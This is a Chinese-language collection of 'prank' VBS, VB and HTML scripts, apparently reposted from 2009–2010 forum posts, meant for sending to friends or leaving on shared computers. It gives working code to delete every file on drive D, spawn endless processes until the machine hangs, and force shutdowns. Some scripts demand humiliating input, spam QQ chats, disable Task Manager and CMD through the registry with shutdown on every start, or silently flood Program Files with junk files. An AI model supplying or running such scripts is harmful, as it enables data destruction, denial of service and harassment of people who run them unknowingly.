VBS 代碼合集（慎用，好玩）

玩玩就好啦
記得關注哦
一、你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼里的數字10改一下即可).
xx.vbs=>
=—————————————————————————
On Error Resume Next
Dim wsh,ye
set wsh=createobject(“wscript.shell”)
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(“與 xx 聊天中”)
wsh.sendKeys “^v”
wsh.sendKeys i
wsh.sendKeys “%s”
next
wscript.quit

---

QQ騷擾信息,也可以用在其它程序上。

二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈

---

do
msgbox “You are foolish!”
loop

---

三、打開無數個計算器，直到死機

set wsh=createobject(“wscript.shell”)
do
wsh.run “calc”
loop

四、直接關機

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “shutdown -f -s -t 00”,0 ,true

五、刪除D:\所有文件

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c ““del d:*.* / f /q /s”””,0 ,true

六、不斷彈出窗口

while(1)
msgbox “哈哈 你被耍了！”
loop

七、不斷按下alt+f4 （開什么都關閉……）

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
while(1)
WSHshell.SendKeys “%{F4}”
loop

---

八、按500次回車

(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)

---

dim s
do until s=500
s=s+1
msgbox “哥們，給我按500次回車吧”,64
loop
‘———————— ————————————————————

九、關不掉的窗口

WScript.Echo(“嘿，謝謝你打開我哦，我等你很久

拉！”&TSName)
WScript.Echo(“你是可愛的小朋嗎?”)
WScript.Echo(“哈,我想你拉，這你都不知道嗎？”)
WScript.Echo(“怎么才來，說~是不是不關心我”)
WScript.Echo(“哼,我生氣拉，等你這么久，心都涼啦?！?
WScript.Echo(“小強很生氣，后果很嚴重哦?！?
WScript.Echo(“嘿嘿！你也會很慘滴哦”)
WScript.Echo(“是不是想清除我？”)
WScript.Echo(“那你要點上50下哦，不過會給你驚喜滴”)
WScript.Echo(“還剩49下，快點點哦”)
WScript.Echo(“還剩48下，快點，小笨蛋！”)
WScript.Echo(“還剩47下對，就這樣快點點！”)
WScript.Echo(“還剩46下。你啊就是笨，要快哦，我先不打擾

你工作。”)
WScript.Echo(“還剩45下，記得要快哦！”)
WScript.Echo(“還剩43下”)
WScript.Echo(“還剩42下”)
WScript.Echo(“還剩41下”)
WScript.Echo(“還剩40下”)
WScript.Echo(“還剩39下”)
WScript.Echo(“還剩38下”)
WScript.Echo(“還剩37下”)
WScript.Echo(“還剩36下”)
WScript.Echo(“還剩35下”)
WScript.Echo(“還剩34下”)
WScript.Echo(“還剩33下”)
WScript.Echo(“還剩32下”)
WScript.Echo(“還剩30下”)
WScript.Echo(“還剩29下”)
WScript.Echo(“還剩28下”)
WScript.Echo(“還剩27下”)
WScript.Echo(“還剩26下”)
WScript.Echo(“還剩25下”)
WScript.Echo(“還剩24下”)
WScript.Echo(“還剩23下”)
WScript.Echo(“還剩22下”)
WScript.Echo(“還剩21下”)
WScript.Echo(“還剩20下”)
WScript.Echo(“還剩19下”)
WScript.Echo(“還剩18下”)
WScript.Echo(“還剩17下”)
WScript.Echo(“還剩16下”)
WScript.Echo(“還剩15下”)
WScript.Echo(“還剩14下”)
WScript.Echo(“還剩13下停停?。?！慢點，我有話要說”)
WScript.Echo(“還剩12下，你繼續點我就會消失滴”)
WScript.Echo(“還剩11下，以后就看不到我拉。555555”)
WScript.Echo(“還剩10下，你現在可以選擇停止！”)
WScript.Echo(“還剩9下。你還點啊，不要我拉？”)
WScript.Echo(“還剩8下，有點傷心拉，干嘛丟棄人家”)
WScript.Echo(“還剩7下。瘋了，你有點負意！”)
WScript.Echo(“還剩6下。對。你就點吧，我恨你！”)
WScript.Echo(“還剩5下，不明白，刪除我你就好嗎？”)
WScript.Echo(“還剩4下！真要刪除我？”)
WScript.Echo(“還剩3下?？墒俏艺娴暮芫鞈倌?。。?！?
WScript.Echo(“還剩2下。不要這么絕情嘛，人家是愛你

的！”)
WScript.Echo(“還剩1下。哼，既然你這么絕情。也別怪我無

義?。?！”)
WScript.Echo(“我本因該消失的，不過我留戀你滴芳容，上帝

又給了一次機會。”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)
WScript.Echo(“想結素我么?那你就再多點一次”)

---

兩個整人的VBS腳本
2009-07-16 18:16

文章錄入：7747.Net 責任編輯：7747.Net 564
【字體：小 大】

測試環境：Windows 2003 系統

大家好 我是Vanlisa QQ137841986

今天給大家帶來兩個整人的VBS腳本 希望大家喜歡

VBS腳本大家都知道吧 第一個是定時關機的

如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的

時間內關機 我設置的是3分鐘 只要輸入就解除了 當然如果不輸的話也有解除的辦法

我們來看下這個腳本

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.exe /c shutdown -r -t 180 -c ““說我是豬，不說我是豬就一分鐘關機，不信，試下···”” “,0 ,true
dim a
do while(a <> “我是豬”)
a = inputbox (“說我是豬,就不關機，快撒，說 ““我是豬””　“,“說不說”,””,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox”
loop
msgbox chr(13) + chr(13) + chr(13) + “早說就行了嘛”
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd.exe /c shutdown -a”,0 ,true
msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈，好乖”

新建一個記事本 把上面的代碼復制進去 另存為VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

這里的數字可以修改關機時間 180秒

這些文字也可以自設 這個腳本啟用cmd 里的關機程序

如果不輸的的話 可以打開任務管理器 輸入shutdown -a 來解除 我們試下 這時定時關機已

經沒了 但是還有個關不掉的窗口 我們打開任務管理器 結束掉Wscript.exe 這個進程就OK

了 這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主

---

下面看第二個整人的腳本

set ws=createobject(“wscript.shell”)
call shutdown(1)
do while a<>“我是豬”
a=inputbox(“快在下面的框框里輸入我是豬,否則后果自負，快輸”“我是豬”” “,“輸不輸”,””)
loop
call shutdown(2)
msgbox “早說就行了嘛”,4096+64
msgbox”再輸一遍我是豬!”,4096+64
msgbox”我是豬!”,4096+64
MsgBox”最后一次!”,4096+64
MsgBox”如果你很快的點過去,不看的話”,4096+64
MsgBox”我就要你踩我空間的!哼!”,4096+64
MsgBox”從前有座山!”,4096+64
MsgBox”山里有個廟.”,4096+64
MsgBox”廟里有個老和尚在講故事.”,4096+64
ws.run”iexplore.exe http://new.qzone.qq.com/137841986/infocenter”
msgbox”哎呀累了！數綿羊哄我睡覺”,4096+64
for i=1 to 100
MsgBox i&“只綿羊”,4096+64
next
msgbox”哎呀我困了，這次就饒過你吧，下次注意哦!”,4096+64
msgbox”最后問個問題，我是不是大好人！”,4096+64
if inputbox(“是不是”,“請選擇”,“是”)<>“是” then
call shutdown(1)
end if

sub shutdown(s)
select case s
case 1
ws.run”cmd.exe /c shutdown -r -t 60 -c”,0
case 2
ws.run”cmd.exe /c shutdown -a”,0
end select
end sub

ws.run”iexplore.exe http://new.qzone.qq.com/137841986/infocenter”

這段代碼可以改成你自己設定的地址

如果別人不輸我是豬的話就會一直點下去 點到你設定的數字

for i=1 to 100

從1到100

可以改成 20 其他的數字

解除這個VBS腳本的辦法就簡單了 只是關掉任務管理器里Wscript.exe

這個進程就好了

BY：7747.net

2009QQ整人代碼
2010-01-28 21:18

set s=createobject(“wscript.shell”)
set bag=getobject(“winmgmts:\.\root\cimv2”)
set pipe=bag.execquery(“select * from win32_process where name=‘wscript.exe’”)
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,0,“REG_DWORD”
s.regwrite”HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD”,0,“REG_DWORD”
id.terminate()
else
s.regwrite”HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,1,“REG_DWORD”
s.regwrite”HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD”,1,“REG_DWORD”
for i=1 to 60
s.popup”系統將在”& 60-i &“秒后關機…”,1,“系統提示”,4096+48
next
Set colOS = GetObject(“winmgmts:{(Shutdown)}”).ExecQuery(“Select * FROM Win32_OperatingSystem”)
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

[color=#FF0000]復制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務不管用
4：F8安全模式也不管用
呵呵！聽起來是不是有點恐怖啊，我在我朋友空間里看見也嚇了一跳、

代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，

PS：不要亂拿軟件去整人，發生什么事可不要怪我啊。。
拍拍手 頂起吧!

2：

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c ““說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···”” “,0 ,true
dim a
do while(a <> “寶寶，我是天下第一大傻B”)
a = inputbox (“寶寶，我是天下第一大傻B,就不關機，快撒，說 ““寶寶，我是天下第一大傻B””　”,“說不說”,“不說”,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox”
loop
msgbox chr(13) + chr(13) + chr(13) + “早說就行了嘛，乖乖”
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd.exe /c shutdown -a”,0 ,true
msgbox chr(13) + chr(13) + chr(13) + “寶寶是不是又帥啦？？”

這代碼是我從朋友那拿來的，大家可以試著玩下、你能做非法事情哦、

網頁整人效果代碼
2009-05-09 11:57

想看效果，只要復制這下面的所有代碼保存在text文件里，修改文件后綴為txt就能看到效果了。

<a href=”” onMouseover=”alert(‘為什么把鼠標放到這里?’);

alert(‘我不是說過不可以這樣嗎？’);

alert(‘你把我的話當什么了？’);

alert(‘你知道錯了嗎？’);

alert(‘什么？你居然…’);

alert(‘居然還沒意識到自己做錯了？’);

alert(‘那好，你要為此付出代價!’);

alert(‘我要你在這里點足一千下…’);

alert(‘什么？你開始有點后悔了？’);

alert(‘何必呢？’);

alert(‘你當初干什么去了？’);

alert(‘不原諒你！’);

alert(‘好從現在開始再點995下…’);

alert(‘你的手開始累了嗎?’);

alert(‘什么？你已經沒力氣了？’);

alert(‘你一直在求我原諒你??！’);

alert(‘看來你是真的知道錯了!’);

alert(‘下次你還會這么做嗎？’);

alert(‘真的不會了？’);

alert(‘那好，今天就放你一馬！’);

alert(‘寫封信給我說聲對不起!’);

alert(‘你能這么做我很高興!!!’);

document.bgColor=‘black’;

document.fgColor=‘White’;

window.location.href=‘mailto:mygod@god?subject=對不起,下次不敢了!’;”>不許把鼠標移到這里

嘻試吧爽噢。。

vbs整人代碼
2010-02-07 22:04

代碼如下：

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
‘聲明變量，其中“count”為靜態變量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
‘定義要把生成的文件存放在那個目錄文件下
c = “C:\Program Files”
‘生成文件的內容
nr = “哈哈，被黑的感覺的不錯吧”
files = FreeFile
‘如果a等于a那么就執行
If a = a Then
‘count不斷的加1，以便產生不同的文件名
count = count + 1
‘產生文件名及文件句柄，并用count作為產生不同的文件名。
Open c & “system” & count & “.dll” For Append As #files
‘向文件寫內容
Write #files, nr
‘清除文件句柄，這里很重要，如果不清除，將產生打開文件太多的錯誤提示
Close #files
End If
End Sub